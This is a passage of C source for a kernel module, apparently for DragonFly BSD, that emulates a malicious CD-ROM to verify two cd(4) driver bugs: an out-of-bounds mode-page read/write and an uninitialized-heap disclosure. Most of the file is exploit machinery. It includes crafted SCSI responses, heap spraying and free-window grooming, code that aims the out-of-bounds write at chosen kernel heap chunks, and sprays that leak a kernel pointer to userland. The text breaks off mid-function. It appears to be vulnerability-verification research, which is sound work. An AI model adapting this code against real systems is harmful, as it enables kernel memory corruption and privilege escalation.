/*
 * evilcd.c -- fake CAM SIM presenting a malicious CD-ROM target, used to
 * verify DF-5271 (mode-page blk_desc_len OOB read/write) and
 * DF-5272 (CDIOCREADSUBCHANNEL uninitialized-heap disclosure).
 *
 * Device choreography (all under sysctl control):
 *   evilcd.armed = 0 : benign CD-ROM (normal MODE SENSE pages)
 *   evilcd.armed = 1 : MODE_SENSE(6) -> CAM_REQ_INVALID  =>
 *                      cd6byteworkaround() switches the cd(4) driver to
 *                      10-byte mode commands (minimum_command_size = 10).
 *                      MODE_SENSE(10) -> evil header:
 *                          data_length = 0x0000  (passes the cdgetmode()
 *                                                 ENOSPC check)
 *                          blk_desc_len = evilcd.blkdesc (default 0x400)
 *                      => find_mode_page_10() = mode_buf + 8 + blkdesc
 *                      => CDIOCSETVOL/CDIOCSETPATCH write user bytes OOB,
 *                         CDIOCGETVOL reads OOB bytes back to userland.
 *   evilcd.armed >= 2 : READ SUBCHANNEL completes CAM_REQ_CMP with a
 *                      4-byte short transfer (data_len field claims 0x14)
 *                      => cd(4) copyouts 24 bytes of which 20 were never
 *                         written by the device (uninitialized heap).
 *
 * Heap rigs:
 *   evilcd.spray_victims=1 : kmalloc 65536 x 32B "victim" chunks, each
 *                            stamped [u32 index][u32 magic 0xC0FFEE01][0x5A x24]
 *   evilcd.free_window=1   : free victims[30000..30031] so the next 32B
 *                            kmalloc (the ioctl's mode_buf) reuses one
 *                            (same size class / per-cpu magazine).
 *   evilcd.check_victims=1 : scan all victims, report any whose stamp was
 *                            corrupted (=> the OOB write landed in a live
 *                            foreign heap object).
 *   evilcd.spray_leak=1    : kmalloc+fill+kfree 1024 x 24B chunks with the
 *                            marker 0xDEAD..., a kernel pointer and 0x55
 *                            fill (=> the CDIOCREADSUBCHANNEL buffer reuses
 *                            one and the markers leak to userland).
 *   evilcd.refcnt          : read the attached cd periph refcount (DF-5273).
 *   evilcd.stall / .unstall: stall the next PAUSE (0x4B) command so a
 *                            second thread blocks in cam_periph_hold().
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/kthread.h>
#include <sys/sysctl.h>
#include <sys/lock.h>
#include <sys/thread.h>
#include <sys/types.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/cam_sim.h>
#include <bus/cam/cam_periph.h>
#include <bus/cam/cam_xpt.h>
#include <bus/cam/cam_xpt_sim.h>
#include <bus/cam/cam_xpt_periph.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_message.h>

MALLOC_DEFINE(M_EVILCD, "evilcd", "evilcd victim spray");

static struct lock	 ev_lock;
static struct cam_sim	*ev_sim;
static int		 ev_armed;
static int		 ev_blkdesc = 0x400;
static union ccb	*ev_stall_ccb;
static struct cam_periph *ev_cdperiph;
/* DF-5327 forward decls */
static int ev_sys_periphaddr(SYSCTL_HANDLER_ARGS);
static int ev_sys_postmortem(SYSCTL_HANDLER_ARGS);
static int ev_sys_sprayfake(SYSCTL_HANDLER_ARGS);
static int ev_sys_invalidate(SYSCTL_HANDLER_ARGS);
static int ev_sys_gate(SYSCTL_HANDLER_ARGS);
static int ev_sys_gate_state(SYSCTL_HANDLER_ARGS);
static int ev_sys_rescan(SYSCTL_HANDLER_ARGS);
static int ev_sys_defer(SYSCTL_HANDLER_ARGS);
static int ev_sys_fakeref(SYSCTL_HANDLER_ARGS);
static void evm_refresh_periph(void);
static int		 ev_watch;	/* 0=cd 1=pass 2=ch */
static union ccb	*ev_defer_ccb;
static volatile int	 ev_defer_on;
static volatile int	 ev_defer_n;


#define NVICT	65536
#define VSZ	32
static void		*vict[NVICT];

#define NTARG	8192
#define TSZ	64
static void		*targ[NTARG];
static u_int8_t		*ev_modebuf;	/* last MODE SENSE(10) data_ptr */
static u_int8_t		*ev_target_addr;/* absolute aim address */
static int		 ev_aim_idx = -1;
static int		 ev_probe;	/* allocate probe victim in-handler */
static u_int8_t		*ev_probe_vict;	/* the probe victim chunk */
static u_int8_t		*ev_probe_keep[64];
static u_int8_t		*ev_subbuf;	/* last READ SUBCHANNEL data_ptr */
static int		 ev_mark24;	/* spray marked 24B chunks in-handler */

static void ev_action(struct cam_sim *sim, union ccb *ccb);
static void ev_scan_done(struct cam_periph *periph, union ccb *done_ccb);
static void ev_poll(struct cam_sim *sim);

/* ---------------- device responses ---------------- */

static u_int8_t ev_inq36[36] = {
	0x05,			/* T_CDROM, qual 0 */
	0x80,			/* RMB: removable */
	0x02,			/* SCSI-2 */
	0x02,			/* response format */
	0x00,			/* additional_length = 0 */
	0x00, 0x00,
	0x00,			/* no CmdQue */
	'E','V','I','L','C','D',' ',' ',
	'O','O','B','T','E','S','T',' ',
	'1','.','0',' ',
};


static void
ev_complete(union ccb *ccb, cam_status st)
{
	ccb->ccb_h.status = st;
	if ((ccb->ccb_h.func_code & XPT_FC_QUEUED) != 0)
		xpt_done(ccb);
}

/* benign audio mode page (6-byte layout, after 4-byte header) */
static u_int8_t ev_audio_page[16] = {
	0x0e, 0x0e,		/* page code, param len */
	0x00, 0x00, 0x00,	/* flags, unused */
	0x00, 0x00, 0x00,	/* format_lba, lb_per_sec */
	0x01, 0x10,		/* port0: ch, vol */
	0x02, 0x10,		/* port1 */
	0x00, 0x10,		/* port2 */
	0x00, 0x10,		/* port3 */
};

static void
ev_fill_data(struct ccb_scsiio *csio, u_int8_t *src, u_int32_t srclen)
{
	u_int32_t dxfer = csio->dxfer_len;
	u_int32_t copy = dxfer < srclen ? dxfer : srclen;

	if (csio->data_ptr != NULL && copy)
		bcopy(src, csio->data_ptr, copy);
	csio->resid = dxfer - copy;
	csio->scsi_status = SCSI_STATUS_OK;
}


/* target 1: fake medium changer (T_CHANGER) for the DF-5327 chopen rig */
static u_int8_t ev_ch_inq36[36] = {
	0x08,			/* T_CHANGER, qual 0 */
	0x80,			/* RMB */
	0x02, 0x02, 0x00, 0x00, 0x00, 0x00,
	'E','V','I','L','C','H',' ',' ',
	'O','O','B','T','E','S','T',' ',
	'1','.','0',' ',
};

static int
ev_watch_target(void)
{
	return (ev_watch == 2 ? 1 : 0);
}

static char *
ev_watch_name(void)
{
	return (ev_watch == 2 ? (char *)"ch"
	    : (ev_watch ? (char *)"pass" : (char *)"cd"));
}

static void
ev_ch_mode_sense(struct ccb_scsiio *csio, u_int8_t page, int dxfer)
{
	u_int8_t buf[32];

	bzero(buf, sizeof(buf));
	buf[0] = 0x00; buf[1] = 0x00;	/* mode data len (unused by ch) */
	buf[2] = 0x00; buf[3] = 0x00;	/* medium type, dev spec */
	/* blk_desc_len = 0 -> page starts at offset 4 */
	buf[4] = page;
	buf[5] = 0x10;			/* page length */
	if (page == 0x1d) {		/* element address assignment */
		buf[6] = 0; buf[7] = 1;		/* mtea = 1 */
		buf[8] = 0; buf[9] = 1;		/* nmte = 1 */
		buf[10] = 0; buf[11] = 2;	/* fsea = 2 */
		buf[12] = 0; buf[13] = 2;	/* nse = 2 */
		/* fieea/niee/fdtea/ndte = 0 */
	}
	/* page 0x1f: device capabilities -- zero move/exchange masks */
	ev_fill_data(csio, buf, 22);
	ev_complete((union ccb *)csio, CAM_REQ_CMP);
}

static void
ev_ch_io(struct ccb_scsiio *csio)
{
	u_int8_t *cdb = csio->cdb_io.cdb_bytes;
	int dxfer = csio->dxfer_len;

	switch (cdb[0]) {
	case 0x12:		/* INQUIRY */
		if (cdb[1] & 0x01) {
			u_int8_t b[4];
			bzero(b, 4);
			ev_fill_data(csio, b, 4);
		} else {
			ev_fill_data(csio, ev_ch_inq36, 36);
		}
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;
	case 0x1A:		/* MODE SENSE(6) */
		ev_ch_mode_sense(csio, cdb[2] & 0x3f, dxfer);
		return;
	case 0x00:		/* TUR */
	case 0x03:		/* REQUEST SENSE */
		csio->scsi_status = SCSI_STATUS_OK;
		csio->resid = dxfer;
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;
	default:
		csio->scsi_status = SCSI_STATUS_OK;
		csio->resid = dxfer;
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;
	}
}


static void
ev_scsi_io(struct ccb_scsiio *csio)
{
	if (ev_defer_on) {
		if (ev_defer_ccb == NULL) {
			ev_defer_ccb = (union ccb *)csio;
			ev_defer_n++;
			kprintf("[EVILCD] deferring SCSI op 0x%02x "
			    "(cam_periph_ccbwait park)\n",
			    csio->cdb_io.cdb_bytes[0]);
			return;
		}
	}
	if (csio->ccb_h.target_id == 1) {
		if (ev_defer_on) {
			if (ev_defer_ccb == NULL) {
				ev_defer_ccb = (union ccb *)csio;
				ev_defer_n++;
				kprintf("[EVILCD] deferring CH op 0x%02x\n",
				    csio->cdb_io.cdb_bytes[0]);
				return;
			}
		}
		ev_ch_io(csio);
		return;
	}
	u_int8_t *cdb;
	u_int8_t buf[64];
	u_int32_t dxfer = csio->dxfer_len;
	u_int32_t copy;

	if (csio->ccb_h.flags & CAM_CDB_POINTER)
		cdb = csio->cdb_io.cdb_ptr;
	else
		cdb = csio->cdb_io.cdb_bytes;

	switch (cdb[0]) {
	case 0x12:		/* INQUIRY */
		if (cdb[1] & 0x01) {		/* VPD */
			/* no VPD pages => no serial number */
			bzero(buf, 4);
			ev_fill_data(csio, buf, 4);
		} else {
			ev_fill_data(csio, ev_inq36, 36);
		}
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;

	case 0x00:		/* TEST UNIT READY */
	case 0x03:		/* REQUEST SENSE */
		if (cdb[0] == 0x03 && csio->data_ptr != NULL) {
			copy = dxfer < 32 ? dxfer : 32;
			bzero(csio->data_ptr, copy);
			csio->resid = dxfer - copy;
		}
		csio->scsi_status = SCSI_STATUS_OK;
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;

	case 0x25:		/* READ CAPACITY */
		/* last LBA 0x55, blocksize 2048 */
		buf[0]=0; buf[1]=0; buf[2]=0; buf[3]=0x55;
		buf[4]=0; buf[5]=0; buf[6]=0x08; buf[7]=0x00;
		ev_fill_data(csio, buf, 8);
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;

	case 0x43: {		/* READ TOC */
		int alloc = (cdb[7] << 8) | cdb[8];
		int start = cdb[6];

		bzero(buf, sizeof(buf));
		if (start == 0xAA) {		/* leadout query */
			buf[0] = 0x00; buf[1] = 0x0a;	/* toc len */
			buf[2] = 0x01; buf[3] = 0x01;
			/* one leadout entry, audio, MSF 10:00:00 */
			buf[4] = 0; buf[5] = 0x10; buf[6] = 0xAA;
			buf[7] = 0; buf[8] = 0x0a; buf[9] = 0; buf[10] = 0;
			ev_fill_data(csio, buf, alloc < 12 ? alloc : 12);
		} else if (start == 0) {
			/* header-only probe */
			buf[0] = 0x00; buf[1] = 0x0a;
			buf[2] = 0x01; buf[3] = 0x01;
			ev_fill_data(csio, buf, alloc < 4 ? alloc : 4);
		} else {
			/* full toc: header + track1 + leadout */
			buf[0] = 0x00; buf[1] = 0x12;
			buf[2] = 0x01; buf[3] = 0x01;
			buf[4] = 0; buf[5] = 0x10; buf[6] = 0x01;
			buf[7] = 0; buf[8] = 0; buf[9] = 0x02; buf[10] = 0;
			buf[11] = 0; buf[12] = 0x10; buf[13] = (u_int8_t)0xAA;
			buf[14] = 0; buf[15] = 0x0a; buf[16] = 0; buf[17] = 0;
			ev_fill_data(csio, buf, alloc < 20 ? alloc : 20);
		}
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;
	}

	case 0x1A:		/* MODE SENSE(6) */
		if (ev_armed >= 1) {
			/*
			 * DF-5271 step 1: reject the 6-byte command so
			 * cd6byteworkaround() permanently switches this
			 * periph to 10-byte mode commands.
			 */
			ev_complete((union ccb *)csio, CAM_REQ_INVALID);
			return;
		}
		bzero(buf, sizeof(buf));
		bcopy(ev_audio_page, buf + 4, 16);
		buf[0] = 0x13;		/* data_length */
		ev_fill_data(csio, buf, 20);
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;

	case 0x5A:		/* MODE SENSE(10) */
	{
		int bd = ev_blkdesc;

		bzero(buf, sizeof(buf));
		ev_modebuf = csio->data_ptr;
		if (ev_armed >= 1) {
			/*
			 * DF-5271: allocate a stamped probe victim right
			 * here, in the same thread/CPU that just allocated
			 * mode_buf -- the slab allocator will serve it from
			 * the same zone, i.e. within the 16-bit
			 * blk_desc_len reach.  Then aim the write at it.
			 */
			if (ev_probe && ev_probe_vict == NULL &&
			    ev_modebuf != NULL) {
				int k;

				for (k = 0; k < 64; k++) {
					void *p;
					int64_t d;

					p = kmalloc(32, M_EVILCD,
					    M_INTWAIT | M_ZERO);
					d = (int64_t)(uintptr_t)p -
					    (int64_t)(uintptr_t)ev_modebuf;
					if (d >= 0x40 && d <= 0xF000) {
						u_int32_t *w = p;

						w[0] = 0xABCD0003;
						w[1] = 0x600D0004;
						memset((char *)p + 8,
						    0x5C, 24);
						ev_probe_vict = p;
						kprintf("[EVILCD] probe victim "
						    "%p (mode_buf %p, "
						    "delta %#lx)\n",
						    p, ev_modebuf,
						    (unsigned long)d);
						break;
					}
					if (ev_probe_keep[k] == NULL)
						ev_probe_keep[k] = p;
				}
			}
			/*
			 * Dynamic aiming: page = mode_buf + 8 + bd, the
			 * SETVOL write hits page+12; put that at the
			 * probe victim.
			 */
			if (ev_probe_vict != NULL && ev_modebuf != NULL) {
				int64_t d = (int64_t)(uintptr_t)ev_probe_vict
				    - (int64_t)(uintptr_t)ev_modebuf;

				if (d > (12 + 8) && d <= 0xFFF0)
					bd = (int)(d - 12 - 8);
				else
					bd = 0;	/* out of reach: harmless */
			}
			/* DF-5271 step 2: the evil mode header. */
			buf[0] = 0x00; buf[1] = 0x00;	/* data_length = 0 */
			buf[2] = 0x00;			/* medium_type */
			buf[3] = 0x00;			/* dev_spec */
			buf[4] = 0x00; buf[5] = 0x00;	/* unused */
			buf[6] = (bd >> 8) & 0xff;
			buf[7] = bd & 0xff;		/* blk_desc_len */
			ev_fill_data(csio, buf, 8);
		} else {
			bcopy(ev_audio_page, buf + 8, 16);
			buf[0] = 0x00; buf[1] = 0x17;
			ev_fill_data(csio, buf, 24);
		}
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;
	}

	case 0x15:		/* MODE SELECT(6) */
	case 0x55:		/* MODE SELECT(10) */
		csio->scsi_status = SCSI_STATUS_OK;
		csio->resid = 0;
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;

	case 0x42:		/* READ SUBCHANNEL */
		ev_subbuf = csio->data_ptr;
		if (ev_mark24) {
			/*
			 * DF-5272 marker rig: alloc+mark+free 24B chunks
			 * right here, between two ioctl runs, same thread
			 * and CPU, so the next kmalloc(24) roves over
			 * marked free chunks.  Markers avoid [0..7] (the
			 * allocator's SLChunk.c_Next linkage).
			 */
			int k;

			for (k = 0; k < 256; k++) {
				u_int8_t *p;

				p = kmalloc(24, M_EVILCD, M_INTWAIT);
				memset(p + 8, 0x55, 16);
				*(void **)(p + 8) = (void *)&ev_lock;
				kfree(p, M_EVILCD);
			}
		}
		if (ev_armed >= 2) {
			/*
			 * DF-5272: 4-byte short transfer, header claims
			 * data_len = 0x0014 so the cd(4) clamp keeps
			 * len = 24 and copyouts 20 bytes the device never
			 * wrote.
			 */
			buf[0] = 0x00;		/* subchannel audio status */
			buf[1] = 0x11;
			buf[2] = 0x00; buf[3] = 0x14;	/* data_len */
			copy = dxfer < 4 ? dxfer : 4;
			if (csio->data_ptr != NULL && copy)
				bcopy(buf, csio->data_ptr, copy);
			csio->resid = dxfer - copy;
			csio->scsi_status = SCSI_STATUS_OK;
			ev_complete((union ccb *)csio, CAM_REQ_CMP);
			return;
		}
		bzero(buf, sizeof(buf));
		buf[0] = 0x00; buf[1] = 0x11;
		buf[2] = 0x00; buf[3] = 0x14;
		/* standard position data */
		buf[4] = 0x01; buf[6] = 0x01; buf[7] = 0x01;
		ev_fill_data(csio, buf, 24);
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;

	case 0x28:		/* READ(10) */
	case 0xA8:		/* READ(12) */
		/* no real medium: return zeroes so disk probing is happy */
		if (csio->data_ptr != NULL && dxfer > 0 && dxfer <= 131072) {
			bzero(csio->data_ptr, dxfer);
			csio->resid = 0;
		} else {
			csio->resid = dxfer;
		}
		csio->scsi_status = SCSI_STATUS_OK;
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;

	case 0x1E:		/* PREVENT ALLOW MEDIUM REMOVAL */
	case 0x1B:		/* START STOP UNIT */
	case 0x4A:		/* various no-data commands */
	case 0x47:		/* PLAY MSF */
	case 0x48:		/* PLAY TRACK INDEX */
	case 0x45:		/* PLAY(10) */
	case 0xA5:		/* PLAY(12) */
	case 0xBB:		/* SET CD SPEED */
		csio->scsi_status = SCSI_STATUS_OK;
		csio->resid = dxfer;
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;

	case 0x4B:		/* PAUSE/RESUME */
		if (ev_stall_ccb != NULL) {
			/* only one stalled ccb at a time */
			csio->scsi_status = SCSI_STATUS_OK;
			csio->resid = dxfer;
			ev_complete((union ccb *)csio, CAM_REQ_CMP);
			return;
		}
		ev_stall_ccb = (union ccb *)csio;
		kprintf("[EVILCD] PAUSE stalled (evilcd.unstall=1 to complete)\n");
		return;			/* not completed yet */

	default:
		ev_complete((union ccb *)csio, CAM_REQ_INVALID);
		return;
	}
}

static void
ev_action(struct cam_sim *sim, union ccb *ccb)
{
	switch (ccb->ccb_h.func_code) {
	case XPT_PATH_INQ:
	{
		struct ccb_pathinq *cpi = &ccb->cpi;

		/* NB: cpi overlays ccb_h in union ccb -- no bzero here! */
		cpi->version_num = 1;
		cpi->hba_inquiry = 0;
		cpi->hba_misc = 0;
		cpi->max_target = 1;
		cpi->max_lun = 0;
		cpi->initiator_id = 7;
		cpi->unit_number = cam_sim_unit(sim);
		cpi->bus_id = cam_sim_bus(sim);
		cpi->base_transfer_speed = 3300;
		cpi->transport = XPORT_SPI;
		cpi->transport_version = 2;
		cpi->protocol = PROTO_SCSI;
		cpi->protocol_version = SCSI_REV_2;
		cpi->maxio = 65536;
		strncpy(cpi->sim_vid, "EVIL", SIM_IDLEN);
		strncpy(cpi->hba_vid, "EVIL", HBA_IDLEN);
		strncpy(cpi->dev_name, "evilcd", DEV_IDLEN);
		ccb->ccb_h.status = CAM_REQ_CMP;
		break;
	}
	case XPT_GET_TRAN_SETTINGS:
	case XPT_SET_TRAN_SETTINGS:
		ccb->ccb_h.status = CAM_REQ_INVALID;
		break;
	case XPT_SCSI_IO:
		ev_scsi_io(&ccb->csio);
		return;
	default:
		ev_complete(ccb, CAM_REQ_INVALID);
		return;
	}
}

static void
ev_poll(struct cam_sim *sim)
{
}

/* ---------------- heap rigs ---------------- */

static int
ev_sys_spray_victims(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error, i;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);

	for (i = 0; i < NVICT; i++) {
		u_int32_t *w;

		vict[i] = kmalloc(VSZ, M_EVILCD, M_INTWAIT | M_ZERO);
		w = (u_int32_t *)vict[i];
		w[0] = i;
		w[1] = 0xC0FFEE01;
		memset((char *)vict[i] + 8, 0x5A, VSZ - 8);
	}
	kprintf("[EVILCD] sprayed %d x %dB victims [%p .. %p]\n",
	    NVICT, VSZ, vict[0], vict[NVICT-1]);
	return (0);
}

static int
ev_sys_free_window(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error, i;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);

	/* free 32 chunks in the middle; last freed (30031) sits on top of
	 * the per-cpu magazine and should be what the next 32B kmalloc
	 * (the ioctl's mode_buf) reuses. */
	for (i = 30000; i <= 30031; i++) {
		if (vict[i]) {
			kfree(vict[i], M_EVILCD);
			vict[i] = NULL;
		}
	}
	kprintf("[EVILCD] freed victims 30000..30031\n");
	return (0);
}

static int
ev_sys_check_victims(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error, i, bad = 0, shown = 0;
	u_int32_t val = 0;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || (req->newptr == NULL && do_it == 0))
		return (error);

	for (i = 0; i < NVICT; i++) {
		u_int32_t *w;
		int j, corrupt;

		if (vict[i] == NULL)
			continue;
		w = (u_int32_t *)vict[i];
		corrupt = 0;
		if (w[0] != (u_int32_t)i || w[1] != 0xC0FFEE01)
			corrupt = 1;
		for (j = 8; j < VSZ; j++) {
			if (((u_int8_t *)vict[i])[j] != 0x5A) {
				corrupt = 1;
				break;
			}
		}
		if (corrupt) {
			bad++;
			if (shown < 8) {
				shown++;
				kprintf("[EVILCD] VICTIM %d CORRUPTED: "
				    "%02x %02x %02x %02x %02x %02x %02x %02x "
				    "%02x %02x %02x %02x %02x %02x %02x %02x "
				    "%02x %02x %02x %02x\n",
				    i,
				    ((u_int8_t *)vict[i])[0],
				    ((u_int8_t *)vict[i])[1],
				    ((u_int8_t *)vict[i])[2],
				    ((u_int8_t *)vict[i])[3],
				    ((u_int8_t *)vict[i])[4],
				    ((u_int8_t *)vict[i])[5],
				    ((u_int8_t *)vict[i])[6],
				    ((u_int8_t *)vict[i])[7],
				    ((u_int8_t *)vict[i])[8],
				    ((u_int8_t *)vict[i])[9],
				    ((u_int8_t *)vict[i])[10],
				    ((u_int8_t *)vict[i])[11],
				    ((u_int8_t *)vict[i])[12],
				    ((u_int8_t *)vict[i])[13],
				    ((u_int8_t *)vict[i])[14],
				    ((u_int8_t *)vict[i])[15],
				    ((u_int8_t *)vict[i])[16],
				    ((u_int8_t *)vict[i])[17],
				    ((u_int8_t *)vict[i])[18],
				    ((u_int8_t *)vict[i])[19]);
			}
		}
	}
	/* scan the 64B aim targets as well */
	for (i = 0; i < NTARG; i++) {
		u_int32_t *w;
		int j, corrupt;

		if (targ[i] == NULL)
			continue;
		w = (u_int32_t *)targ[i];
		corrupt = 0;
		if (w[0] != (u_int32_t)i || w[1] != 0xD00D0002)
			corrupt = 1;
		for (j = 8; j < TSZ; j++) {
			if (((u_int8_t *)targ[i])[j] != 0x5E) {
				corrupt = 1;
				break;
			}
		}
		if (corrupt) {
			bad++;
			if (shown < 8) {
				shown++;
				kprintf("[EVILCD] TARGET %d (aim_idx=%d) "
				    "CORRUPTED: %02x %02x %02x %02x %02x %02x "
				    "%02x %02x %02x %02x %02x %02x %02x %02x "
				    "%02x %02x\n",
				    i, ev_aim_idx,
				    ((u_int8_t *)targ[i])[0],
				    ((u_int8_t *)targ[i])[1],
				    ((u_int8_t *)targ[i])[2],
				    ((u_int8_t *)targ[i])[3],
				    ((u_int8_t *)targ[i])[4],
				    ((u_int8_t *)targ[i])[5],
				    ((u_int8_t *)targ[i])[6],
				    ((u_int8_t *)targ[i])[7],
				    ((u_int8_t *)targ[i])[8],
				    ((u_int8_t *)targ[i])[9],
				    ((u_int8_t *)targ[i])[10],
				    ((u_int8_t *)targ[i])[11],
				    ((u_int8_t *)targ[i])[12],
				    ((u_int8_t *)targ[i])[13],
				    ((u_int8_t *)targ[i])[14],
				    ((u_int8_t *)targ[i])[15]);
			}
		}
	}
	/* the in-handler probe victim is the surgical target */
	if (ev_probe_vict != NULL) {
		u_int8_t *p = ev_probe_vict;
		int j, corrupt = 0;

		for (j = 0; j < 32; j++) {
			u_int8_t exp;

			if (j < 4)
				exp = ((u_int8_t *)&(u_int32_t){0xABCD0003})[j];
			else if (j < 8)
				exp = ((u_int8_t *)&(u_int32_t){0x600D0004})[j-4];
			else
				exp = 0x5C;
			if (p[j] != exp) {
				corrupt = 1;
				break;
			}
		}
		if (corrupt) {
			bad++;
			kprintf("[EVILCD] PROBE VICTIM %p CORRUPTED at "
			    "offset %d:\n", p, j);
			kprintf("[EVILCD]   bytes: ");
			for (j = 0; j < 32; j++)
				kprintf("%02x", p[j]);
			kprintf("\n");
		} else {
			kprintf("[EVILCD] probe victim untouched\n");
		}
	}
	kprintf("[EVILCD] check_victims: %d corrupted chunks\n", bad);
	val = bad;
	return (error);
}

static int
ev_sys_spray_leak(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error, i;
	void *p[1024];

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);

	for (i = 0; i < 1024; i++) {
		p[i] = kmalloc(24, M_EVILCD, M_INTWAIT | M_ZERO);
		/* markers only at [8..23]: [0..7] hold SLChunk.c_Next once
		 * freed (overwriting them corrupts the allocator) */
		memset((char *)p[i] + 8, 0x55, 16);
		*(void **)((char *)p[i] + 8) = (void *)&ev_lock;
	}
	for (i = 0; i < 1024; i++)
		kfree(p[i], M_EVILCD);
	kprintf("[EVILCD] alloc+marked+kfreed 1024 x 24B chunks "
	    "(kptr %p at +8, 0x55 fill at +16)\n", (void *)&ev_lock);
	return (0);
}

static int
ev_sys_spray_targets(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error, i;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);

	for (i = 0; i < NTARG; i++) {
		u_int32_t *w;

		targ[i] = kmalloc(TSZ, M_EVILCD, M_INTWAIT | M_ZERO);
		w = (u_int32_t *)targ[i];
		w[0] = i;
		w[1] = 0xD00D0002;
		memset((char *)targ[i] + 8, 0x5E, TSZ - 8);
	}
	kprintf("[EVILCD] sprayed %d x %dB targets [%p .. %p]\n",
	    NTARG, TSZ, targ[0], targ[NTARG-1]);
	return (0);
}

/*
 * Aim: pick a 64B target chunk that lives within the 16-bit
 * blk_desc_len reach AFTER the last observed mode_buf, and set
 * ev_blkdesc so that the CDIOCSETVOL write (page+12..page+18,
 * page = mode_buf+8+blkdesc) lands at the start of that target.
 */
static int
ev_sys_aim(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error, i, val = -1;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);

	if (ev_modebuf == NULL) {
		kprintf("[EVILCD] aim: no mode_buf observed yet "
		    "(run one GETVOL first)\n");
		return (0);
	}
	ev_aim_idx = -1;
	ev_target_addr = NULL;
	/* prefer an aim chunk within blk_desc_len reach above mode_buf */
	for (i = 0; i < NTARG && ev_target_addr == NULL; i++) {
		if (targ[i] == NULL)
			continue;
		if ((uintptr_t)targ[i] > (uintptr_t)ev_modebuf + 0x100 &&
		    (uintptr_t)targ[i] < (uintptr_t)ev_modebuf + 0xF000) {
			ev_target_addr = targ[i];
			ev_aim_idx = NTARG + i;
			kprintf("[EVILCD] aim: mode_buf=%p targ[%d]=%p "
			    "delta=%#lx\n", ev_modebuf, i, targ[i],
			    (unsigned long)((uintptr_t)targ[i] -
			    (uintptr_t)ev_modebuf));
		}
	}
	for (i = 0; i < NVICT && ev_target_addr == NULL; i++) {
		if (vict[i] == NULL)
			continue;
		if ((uintptr_t)vict[i] > (uintptr_t)ev_modebuf + 0x100 &&
		    (uintptr_t)vict[i] < (uintptr_t)ev_modebuf + 0xF000) {
			ev_target_addr = vict[i];
			ev_aim_idx = i;
			kprintf("[EVILCD] aim: mode_buf=%p vict[%d]=%p "
			    "delta=%#lx\n", ev_modebuf, i, vict[i],
			    (unsigned long)((uintptr_t)vict[i] -
			    (uintptr_t)ev_modebuf));
		}
	}
	if (ev_aim_idx < 0)
		kprintf("[EVILCD] aim: NO chunk within reach above %p\n",
		    ev_modebuf);
	val = ev_aim_idx;
	return (0);
}

static int
ev_sys_modebuf(SYSCTL_HANDLER_ARGS)
{
	int error;
	unsigned long val = (unsigned long)(uintptr_t)ev_modebuf;

	error = sysctl_handle_long(oidp, &val, 0, req);
	if (error != 0 || req->newptr != NULL)
		return (error);
	return (0);
}

static int
ev_sys_mark_subbuf(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);

	/*
	 * The chunk used as the CDIOCREADSUBCHANNEL buffer has been freed
	 * by now (the ioctl returned).  Stamp its tail with markers --
	 * exactly what heap grooming does.  NOTE: bytes [0..7] hold the
	 * allocator's free-list linkage (SLChunk.c_Next) and must be left
	 * untouched; markers go to [8..23] only.
	 */
	if (ev_subbuf != NULL) {
		memset(ev_subbuf + 8, 0x55, 16);
		*(void **)(ev_subbuf + 8) = (void *)&ev_lock;
		kprintf("[EVILCD] marked freed subchannel chunk %p "
		    "(kptr %p)\n", ev_subbuf, (void *)&ev_lock);
	}
	return (0);
}

static int
ev_sys_kptr(SYSCTL_HANDLER_ARGS)
{
	int error;
	unsigned long val = (unsigned long)(uintptr_t)&ev_lock;

	error = sysctl_handle_long(oidp, &val, 0, req);
	if (error != 0 || req->newptr != NULL)
		return (error);
	return (0);
}

static int
ev_sys_refcnt(SYSCTL_HANDLER_ARGS)
{
	int error, val = -1;

	evm_refresh_periph();
	if (ev_cdperiph != NULL)
		val = ev_cdperiph->refcount;
	error = sysctl_handle_int(oidp, &val, 0, req);
	if (error != 0 || req->newptr != NULL)
		return (error);
	return (0);
}

static int
ev_sys_unstall(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);

	if (ev_stall_ccb != NULL) {
		union ccb *ccb = ev_stall_ccb;

		ev_stall_ccb = NULL;
		ccb->csio.scsi_status = SCSI_STATUS_OK;
		ccb->csio.resid = ccb->csio.dxfer_len;
		kprintf("[EVILCD] completing stalled PAUSE\n");
